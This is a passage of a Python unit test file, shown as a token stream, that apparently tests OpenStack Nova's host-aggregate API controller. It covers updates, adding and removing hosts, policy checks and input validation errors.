op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'show'
op|','
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update
dedent|''
name|'def'
name|'test_update'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"new_name"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'values'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"1"'
op|','
name|'aggregate'
op|','
string|'"aggregate"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'body'
op|'['
string|'"aggregate"'
op|']'
op|','
name|'values'
op|','
string|'"values"'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"update_aggregate"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_no_admin
dedent|''
name|'def'
name|'test_update_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_only_name
dedent|''
name|'def'
name|'test_update_with_only_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"new_name"'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'values'
op|')'
op|':'
newline|'\n'
indent|' '
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"update_aggregate"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_only_availability_zone
dedent|''
name|'def'
name|'test_update_with_only_availability_zone'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova1"'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'values'
op|')'
op|':'
newline|'\n'
indent|' '
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"update_aggregate"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
name|'result'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'result'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_no_updates
dedent|''
name|'def'
name|'test_update_with_no_updates'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_no_update_key
dedent|''
name|'def'
name|'test_update_with_no_update_key'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"asdf"'
op|':'
op|'{'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_wrong_updates
dedent|''
name|'def'
name|'test_update_with_wrong_updates'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"status"'
op|':'
string|'"disable"'
op|','
nl|'\n'
string|'"foo"'
op|':'
string|'"bar"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_null_name
dedent|''
name|'def'
name|'test_update_with_null_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'""'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_name_too_long
dedent|''
name|'def'
name|'test_update_with_name_too_long'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"x"'
op|'*'
number|'256'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_availability_zone_too_long
dedent|''
name|'def'
name|'test_update_with_availability_zone_too_long'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"x"'
op|'*'
number|'256'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_empty_availability_zone
dedent|''
name|'def'
name|'test_update_with_empty_availability_zone'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'""'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
dedent|''
op|'@'
name|'mock'
op|'.'
name|'patch'
op|'('
string|"'nova.compute.api.AggregateAPI.update_aggregate'"
op|')'
newline|'\n'
DECL|member|test_update_with_none_availability_zone
name|'def'
name|'test_update_with_none_availability_zone'
op|'('
name|'self'
op|','
name|'mock_update_agg'
op|')'
op|':'
newline|'\n'
indent|' '
name|'agg_id'
op|'='
name|'uuid'
op|'.'
name|'uuid4'
op|'('
op|')'
newline|'\n'
name|'mock_update_agg'
op|'.'
name|'return_value'
op|'='
name|'objects'
op|'.'
name|'Aggregate'
op|'('
name|'self'
op|'.'
name|'context'
op|','
nl|'\n'
name|'name'
op|'='
string|"'test'"
op|','
nl|'\n'
name|'uuid'
op|'='
name|'agg_id'
op|','
nl|'\n'
name|'hosts'
op|'='
op|'['
op|']'
op|','
nl|'\n'
name|'metadata'
op|'='
op|'{'
op|'}'
op|')'
newline|'\n'
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"test"'
op|','
nl|'\n'
string|'"availability_zone"'
op|':'
name|'None'
op|'}'
op|'}'
newline|'\n'
name|'result'
op|'='
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|'('
name|'self'
op|'.'
name|'req'
op|','
name|'agg_id'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
name|'mock_update_agg'
op|'.'
name|'assert_called_once_with'
op|'('
name|'self'
op|'.'
name|'context'
op|','
name|'agg_id'
op|','
nl|'\n'
name|'body'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'result'
op|'['
string|"'aggregate'"
op|']'
op|'['
string|"'name'"
op|']'
op|','
string|"'test'"
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_bad_aggregate
dedent|''
name|'def'
name|'test_update_with_bad_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"test_name"'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'metadata'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNotFound'
op|'('
name|'aggregate_id'
op|'='
number|'2'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"update_aggregate"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_duplicated_name
dedent|''
name|'def'
name|'test_update_with_duplicated_name'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'test_metadata'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"name"'
op|':'
string|'"test_name"'
op|'}'
op|'}'
newline|'\n'
nl|'\n'
DECL|function|stub_update_aggregate
name|'def'
name|'stub_update_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'metadata'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNameExists'
op|'('
name|'aggregate_name'
op|'='
string|'"test_name"'
op|')'
newline|'\n'
nl|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"update_aggregate"'
op|','
nl|'\n'
name|'stub_update_aggregate'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPConflict'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"2"'
op|','
name|'body'
op|'='
name|'test_metadata'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_invalid_action
dedent|''
name|'def'
name|'test_invalid_action'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"append_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_update_with_invalid_action
dedent|''
name|'def'
name|'test_update_with_invalid_action'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'with'
name|'mock'
op|'.'
name|'patch'
op|'.'
name|'object'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"update_aggregate"'
op|','
nl|'\n'
name|'side_effect'
op|'='
name|'exception'
op|'.'
name|'InvalidAggregateAction'
op|'('
nl|'\n'
name|'action'
op|'='
string|"'invalid'"
op|','
name|'aggregate_id'
op|'='
string|"'agg1'"
op|','
name|'reason'
op|'='
string|'"not empty"'
op|')'
op|')'
op|':'
newline|'\n'
indent|' '
name|'body'
op|'='
op|'{'
string|'"aggregate"'
op|':'
op|'{'
string|'"availability_zone"'
op|':'
string|'"nova"'
op|'}'
op|'}'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPBadRequest'
op|','
name|'self'
op|'.'
name|'controller'
op|'.'
name|'update'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
name|'body'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host
dedent|''
dedent|''
name|'def'
name|'test_add_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_add_host_to_aggregate
indent|' '
name|'def'
name|'stub_add_host_to_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"1"'
op|','
name|'aggregate'
op|','
string|'"aggregate"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"host1"'
op|','
name|'host'
op|','
string|'"host"'
op|')'
newline|'\n'
name|'return'
name|'AGGREGATE'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"add_host_to_aggregate"'
op|','
nl|'\n'
name|'stub_add_host_to_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'aggregate'
op|'='
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
nl|'\n'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
name|'aggregate'
op|'='
name|'_transform_aggregate_az'
op|'('
name|'aggregate'
op|'['
string|"'aggregate'"
op|']'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'_assert_agg_data'
op|'('
name|'AGGREGATE'
op|','
name|'_make_agg_obj'
op|'('
name|'aggregate'
op|')'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_no_admin
dedent|''
name|'def'
name|'test_add_host_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'user_req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_already_added_host
dedent|''
name|'def'
name|'test_add_host_with_already_added_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_add_host_to_aggregate
indent|' '
name|'def'
name|'stub_add_host_to_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateHostExists'
op|'('
name|'aggregate_id'
op|'='
name|'aggregate'
op|','
nl|'\n'
name|'host'
op|'='
name|'host'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"add_host_to_aggregate"'
op|','
nl|'\n'
name|'stub_add_host_to_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPConflict'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_bad_aggregate
dedent|''
name|'def'
name|'test_add_host_with_bad_aggregate'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_add_host_to_aggregate
indent|' '
name|'def'
name|'stub_add_host_to_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'AggregateNotFound'
op|'('
name|'aggregate_id'
op|'='
name|'aggregate'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"add_host_to_aggregate"'
op|','
nl|'\n'
name|'stub_add_host_to_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"bogus_aggregate"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_bad_host
dedent|''
name|'def'
name|'test_add_host_with_bad_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_add_host_to_aggregate
indent|' '
name|'def'
name|'stub_add_host_to_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'exception'
op|'.'
name|'ComputeHostNotFound'
op|'('
name|'host'
op|'='
name|'host'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"add_host_to_aggregate"'
op|','
nl|'\n'
name|'stub_add_host_to_aggregate'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPNotFound'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"bogus_host"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_missing_host
dedent|''
name|'def'
name|'test_add_host_with_missing_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"asdf"'
op|':'
string|'"asdf"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_invalid_format_host
dedent|''
name|'def'
name|'test_add_host_with_invalid_format_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"a"'
op|'*'
number|'300'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_multiple_hosts
dedent|''
name|'def'
name|'test_add_host_with_multiple_hosts'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
op|'['
string|'"host1"'
op|','
string|'"host2"'
op|']'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_raises_key_error
dedent|''
name|'def'
name|'test_add_host_raises_key_error'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_add_host_to_aggregate
indent|' '
name|'def'
name|'stub_add_host_to_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'raise'
name|'KeyError'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
string|'"add_host_to_aggregate"'
op|','
nl|'\n'
name|'stub_add_host_to_aggregate'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exc'
op|'.'
name|'HTTPInternalServerError'
op|','
nl|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_invalid_request
dedent|''
name|'def'
name|'test_add_host_with_invalid_request'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
string|'"1"'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_add_host_with_non_string
dedent|''
name|'def'
name|'test_add_host_with_non_string'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'self'
op|'.'
name|'bad_request'
op|','
name|'eval'
op|'('
name|'self'
op|'.'
name|'add_host'
op|')'
op|','
nl|'\n'
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
name|'body'
op|'='
op|'{'
string|'"add_host"'
op|':'
op|'{'
string|'"host"'
op|':'
number|'1'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host
dedent|''
name|'def'
name|'test_remove_host'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
DECL|function|stub_remove_host_from_aggregate
indent|' '
name|'def'
name|'stub_remove_host_from_aggregate'
op|'('
name|'context'
op|','
name|'aggregate'
op|','
name|'host'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertEqual'
op|'('
name|'context'
op|','
name|'self'
op|'.'
name|'context'
op|','
string|'"context"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"1"'
op|','
name|'aggregate'
op|','
string|'"aggregate"'
op|')'
newline|'\n'
name|'self'
op|'.'
name|'assertEqual'
op|'('
string|'"host1"'
op|','
name|'host'
op|','
string|'"host"'
op|')'
newline|'\n'
name|'stub_remove_host_from_aggregate'
op|'.'
name|'called'
op|'='
name|'True'
newline|'\n'
comment|'# at minimum, metadata is always set to {} in the api'
nl|'\n'
name|'return'
name|'_make_agg_obj'
op|'('
op|'{'
string|"'metadata'"
op|':'
op|'{'
op|'}'
op|'}'
op|')'
newline|'\n'
dedent|''
name|'self'
op|'.'
name|'stubs'
op|'.'
name|'Set'
op|'('
name|'self'
op|'.'
name|'controller'
op|'.'
name|'api'
op|','
nl|'\n'
string|'"remove_host_from_aggregate"'
op|','
nl|'\n'
name|'stub_remove_host_from_aggregate'
op|')'
newline|'\n'
name|'eval'
op|'('
name|'self'
op|'.'
name|'remove_host'
op|')'
op|'('
name|'self'
op|'.'
name|'req'
op|','
string|'"1"'
op|','
nl|'\n'
name|'body'
op|'='
op|'{'
string|'"remove_host"'
op|':'
op|'{'
string|'"host"'
op|':'
string|'"host1"'
op|'}'
op|'}'
op|')'
newline|'\n'
nl|'\n'
name|'self'
op|'.'
name|'assertTrue'
op|'('
name|'stub_remove_host_from_aggregate'
op|'.'
name|'called'
op|')'
newline|'\n'
nl|'\n'
DECL|member|test_remove_host_no_admin
dedent|''
name|'def'
name|'test_remove_host_no_admin'
op|'('
name|'self'
op|')'
op|':'
newline|'\n'
indent|' '
name|'self'
op|'.'
name|'assertRaises'
op|'('
name|'exception'
op|'.'
name|'PolicyNotAuthorized'
op|','
